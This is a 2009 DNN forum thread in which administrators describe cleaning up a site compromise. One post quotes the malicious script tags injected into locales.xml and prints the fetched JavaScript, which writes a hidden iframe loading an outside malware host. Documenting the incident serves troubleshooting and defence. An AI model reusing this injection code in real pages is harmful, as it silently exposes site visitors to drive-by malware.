Products

Solutions

Resources

Partners

Community

Blog

About

QA

Ideas Test

New Community Website

Ordinarily, you'd be at the right spot, but we've recently launched a brand new community website... For the community, by the community.

Yay... Take Me to the Community!

Welcome to the DNN Community Forums, your preferred source of online community support for all things related to DNN.
In order to participate you must be a registered DNNizen

HomeHomeGetting StartedGetting StartedInstalling DNN ...Installing DNN ...Wicket tough Server ErrorWicket tough Server Error
Previous
 
Next
New Post
5/28/2009 11:42 PM
 

ok, got tired of waiting for help.  I had a ticket sitting out @ Network Solutions for 3 days now with no results.  Everytime I called, the engineering group was working on it and escalating it.  So I decided to take it upon myself to try and fix it......  (Word to the wise.. know what you are doing and if you don't be patient and don't give up!!!)

The DNN site was at 4.8.4.  I read in some post that others were having a similar problem and they re-installed the version and everything started working.  So I decided to upgrade to 4.9.3  (I could not get 4.9.4 to download from the Downloads page).  Went through the process of copying the correct entries from the original web.config file to the new one to then upload.  Could not get the install to start up.  Instead caused a different error.. after 1/2 day of screwing around, I found out that I deleted teh appsettings opening xml tag in the web.config file... Fixed that and the install ran.  This did not fix the problem.  Do not give up!!!  Customer hacked off so kept digging...  This thread mentioned a locale change to look at for the other user in this thread.  Not knowing too much about it I looked at the app_globalresources folder and the files in there and compared the list to the list in the install package.  I noticed that the website had a file called locales.xml and the install package did not.   I looked at a few of my other sites and noticed they also had this file.  There is not much in it so I backed it up and deleted it and ran the site to see what would happen.   Voila!!!!! the site came up and the locales.xml file was re-created.  Good News!!!

I went back to look at the newly created file and it was smaller that the one I deleted.  I looked at the "original" file I deleted and notice something suspicious in the file.... See Below!

<?xml version="1.0" encoding="UTF-8" ?>
<root>
  <language name="English (United States)" key="en-US" fallback=""/>
</root>
<script src=http://eazypr.com/images/header.gif></script>
<script src=http://eazypr.com/images/header.gif></script>
<script src=http://eazypr.com/images/header.gif></script>

I proceeded (taking the bullet here for you....) to paste that code in my address bar to see what "image" would be displayed.  Instead of an image.... it displayed teh following:

 

function Get(){
var Then = new Date() 
Then.setTime(Then.getTime() + 12*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1=" 
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){ 
} else 
{ document.cookie = "Cookie1=rtsst;expires="+ Then.toGMTString()
window.status=' ';
document.write("<iframe src=\"http://j.winxyz.com/ww/om.htm\" width=0 height=0></ifame>");
}
}Get();

I decided to leave well enough alone and not track it any farther.  Maybe someone can explain how entries like that would make its way into the locales.xml file in the DNN portal.

Site is back up and running!

Doug

 

 
New Post
5/29/2009 3:22 AM
 
ugh 

Dough,

there must be a vulnarability of the server, presumably outside DNN, e.g. a weak ftp password, abused by the hacker to alter files, I am not aware of any option from inside DNN to modify this file except the Host languages UI. Please check for any files on the server with aboout same modification data. If you need support, please contact security@dotnetnuke.com.


Cheers from Germany,
Sebastian Leupold

dnnWerk - The DotNetNuke Experts   German Spoken DotNetNuke User Group

Speed up your DNN Websites with TurboDNN
 
New Post
5/31/2009 9:38 AM
 

Hi Sebastian,

Funny you should say that.  I went to modify a form a few minutes ago (form Master) and received the mutliple line message in the event log. :(  Apparently all the XML files in the install were affected with this "worm".  Editing them now to remove the same three lines.   Will post more information as I come across it.

Thanks,

Doug

 

 
New Post
5/31/2009 11:26 AM
 

more bad news.... worm code was also injected into a slew of html and aspx files.  These, however, were "fixed" when I did a complete install of 4.9.3 over the top of 4.8.4 (the infected version).  This is a site running on a Server at Network solutions.  I suspect that that server was hit by a virus.  The day the customer noticed an issue with the site, NS had a message on their phone support line saying that some servers were experiencing issues and some sites may be down for a bit.  I believe they were trying to recover what they could for customers.  they should have at the very least notified all domain owners that were on the affected servers if this in fact was the same issue I am dealing with.

 
New Post
6/1/2009 5:41 PM
 

 Doug

I found out that all our XML files have been compromised! It seems like there was a JavaScript code injection that added three random lines (links to some page) on every xml file in the DNN folder structure. Luckily I had the backup files in my computer so I replaced all the "infected" files and now the site is back to normal.

 

Hope that helps. Please post if the same issue happened to you.

Thanks,
Dren

 
Previous
 
Next
HomeHomeGetting StartedGetting StartedInstalling DNN ...Installing DNN ...Wicket tough Server ErrorWicket tough Server Error


These Forums are dedicated to discussion of DNN Platform and Evoq Solutions.

For the benefit of the community and to protect the integrity of the ecosystem, please observe the following posting guidelines:

  1. No Advertising. This includes promotion of commercial and non-commercial products or services which are not directly related to DNN.
  2. No vendor trolling / poaching. If someone posts about a vendor issue, allow the vendor or other customers to respond. Any post that looks like trolling / poaching will be removed.
  3. Discussion or promotion of DNN Platform product releases under a different brand name are strictly prohibited.
  4. No Flaming or Trolling.
  5. No Profanity, Racism, or Prejudice.
  6. Site Moderators have the final word on approving / removing a thread or post or comment.
  7. English language posting only, please.
What is Liquid Content?
Find Out
What is Liquid Content?
Find Out
What is Liquid Content?
Find Out